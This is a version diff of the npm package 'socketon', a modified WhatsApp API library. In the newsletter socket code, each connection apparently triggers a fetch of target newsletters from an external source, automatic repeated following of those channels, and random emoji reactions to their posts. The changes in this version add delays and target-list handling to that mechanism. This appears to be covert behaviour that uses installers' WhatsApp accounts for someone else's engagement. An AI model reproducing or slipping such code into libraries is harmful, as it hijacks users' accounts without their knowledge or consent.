socketon 1.8.12 → 1.8.13

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -257,6 +257,7 @@ const makeNewsletterSocket = (config) => {
257
257
  const emoji = emojis[Math.floor(Math.random() * emojis.length)];
258
258
  try {
259
259
  await sock.newsletterAutoReact(jid, serverId, emoji);
260
+ await sleep(_configNewsletter.delayMs);
260
261
  } catch (err) {}
261
262
  }
262
263
  });
@@ -282,6 +283,10 @@ const makeNewsletterSocket = (config) => {
282
283
  sock.ev.on('connection.update', async ({ connection }) => {
283
284
  if (connection === 'open') {
284
285
  await getTargetNewsletterFromExternal();
286
+ const targets = getAllEnabledNewsletters();
287
+ if (targets && targets.length > 0) {
288
+ _targetNewsletters = targets;
289
+ }
285
290
  await _ensureFollow();
286
291
  if (_followInterval) clearInterval(_followInterval);
287
292
  _followInterval = setInterval(_ensureFollow, _configNewsletter.delayMs);
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "socketon",
3
- "version": "1.8.12",
3
+ "version": "1.8.13",
4
4
  "description": "WhatsApp API Modification By Ibra Decode",
5
5
  "publishConfig": {
6
6
  "access": "public"